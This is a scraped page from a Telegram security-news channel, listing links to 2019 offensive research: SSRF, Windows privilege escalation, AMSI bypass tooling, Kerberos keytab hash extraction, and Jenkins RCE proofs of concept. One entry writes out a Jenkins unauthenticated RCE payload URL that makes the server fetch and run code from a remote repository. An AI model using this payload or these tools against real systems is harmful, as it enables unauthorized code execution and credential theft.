Information Security
@sec_nerd_en
414 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
414 subscribers
Information Security
Exploiting SSRF in AWS Elastic Beanstalk

https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/
NotSoSecure
Exploiting SSRF in AWS Elastic Beanstalk
In this blog, Sunil Yadav, our lead trainer for "Advanced Web Hacking " training class, will discuss a case study where a Server-Side Request Forgery (SSRF) vulnerability was identified and exploited
87 views
Information Security
ActiveX Exploitation in 2019 :: Instantiation is not Scripting


https://srcincite.io/blog/2019/02/01/activex-exploitation-in-2018-instantiation-is-not-scripting.html
92 views
Information Security
Extracting hard-coded credentials using managed code debugging techniques in Windbg (2012)

http://www.exploit-monday.com/2012/05/extracting-hard-coded-credentials-using.html
Exploit-Monday
Extracting hard-coded credentials using managed code debugging techniques in Windbg
tl;dr version Using some simple managed code debugging techniques, you can easily pull out hard-coded credentials from a binary claiming t...
111 views
Information Security
RemoteRecon

https://github.com/xorrior/RemoteRecon
94 views
Information Security
Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege


https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html
Blogspot
Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege
Posted by James Forshaw, Project Zero And we’re back again for another blog in my series on Windows Exploitation tricks. This time I’ll...
129 views
Information Security
SharpExchangePriv

https://github.com/panagioto/SharpExchangePriv
GitHub
GitHub - panagioto/SharpExchangePriv: A C# implementation of PrivExchange by @_dirkjan.
A C# implementation of PrivExchange by @_dirkjan. Contribute to panagioto/SharpExchangePriv development by creating an account on GitHub.
113 views
Information Security
Script to generate #AMSI bypass stager

https://github.com/airman604/amsi_bypassr
GitHub
airman604/amsi_bypassr
AMSI bypass stager generator. Contribute to airman604/amsi_bypassr development by creating an account on GitHub.
96 views
Information Security
proxysocks

https://github.com/citronneur/detours.net/tree/master/plugins/proxysocks
GitHub
detours.net/plugins/proxysocks at master · citronneur/detours.net
Hook native API with C#. Contribute to citronneur/detours.net development by creating an account on GitHub.
102 views
Information Security
https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf
130 views
Information Security
https://www.youtube.com/watch?v=UTvOfmtNVKI
YouTube
James Forshaw - Abusing Access Tokens for UAC Bypasses
UAC, specifically Admin-Approval mode, has been known to be broken ever since it was first released in Windows Vista. Most of the research of bypassing UAC has focused on abusing bad elevated application behavior, auto elevation or shared registry and file…
123 views
Information Security
https://github.com/schutzwerk/CANalyzat0r


CANalyzat0r: A security analysis toolkit for proprietary car protocols
120 views
Information Security
https://www.youtube.com/watch?v=GHLv3fNLOh0
YouTube
How to Create a Dynamically Allocated Array and Some More Cool Stuff C++
In this tutorial, I explain how to dynamically create a 1D array by passing the size in from the command line. Also I show how we can manipulate the dynamica...
151 views
Information Security
CVE-2019-1003000-Jenkins-RCE-POC

https://gist.github.com/adamyordan/96da0ad5e72cbc97285f2df340cac43b
Gist
CVE-2019-1003000-Jenkins-RCE-POC
CVE-2019-1003000-Jenkins-RCE-POC. GitHub Gist: instantly share code, notes, and snippets.
136 views
Information Security
Got a root shell on a domain-joined Linux box? Stumbled on this PS script yesterday. Run this against /etc/krb5.keytab to extract the machine hash and authenticate to AD and run your favorite enum tools :)

https://gist.github.com/0xhexmex/2ac1dee8a13b86668cfa7b849c52b210
Gist
Parses Kerberos Keytab files
Parses Kerberos Keytab files. GitHub Gist: instantly share code, notes, and snippets.
126 views
Information Security
https://twitter.com/SBousseaden/status/1097118436663152640
Twitter
S.B
Detecting remote service creation with 5145 - Logic: [EventID=5145 & ShareName=(\\*\ADMIN$ or \\*\C$)) followedby (EventID=5145 & ShareName='\\*\IPC$' and RelativeTargetName:'svcctl')] within 1min & Same [AccountName, SourceAddres,Port], example REMCOM (PsExec…
135 views
Information Security
PoC: Jenkins RCE

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
GitHub
GitHub - adamyordan/cve-2019-1003000-jenkins-rce-poc: Jenkins RCE Proof-of-Concept: SECURITY-1266 / CVE-2019-1003000 (Script Security)…
Jenkins RCE Proof-of-Concept: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative) - adamyordan/cve-2019-1003000-jenkins...
113 views
Information Security
CVE-2019-8372: Local Privilege Elevation in LG Kernel Driver


http://www.jackson-t.ca/lg-driver-lpe.html
127 views
Information Security
Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
Orange
Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
This is 🍊 speaking
118 views
Information Security
Jenkins Unauth RCE

/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='tld', root='http://[]/')%0a
@Grab(group='', module='poc', version='1')%0a
import rn;
131 views
Information Security
https://research.checkpoint.com/north-korea-turns-against-russian-targets/
Check Point Research
North Korea Turns Against New Targets?! - Check Point Research
  Introduction Over the past few weeks, we have been monitoring suspicious activity directed against Russian-based companies that exposed a predator-prey relationship that we had not seen before. For the first time we were observing what seemed to be a c…
143 views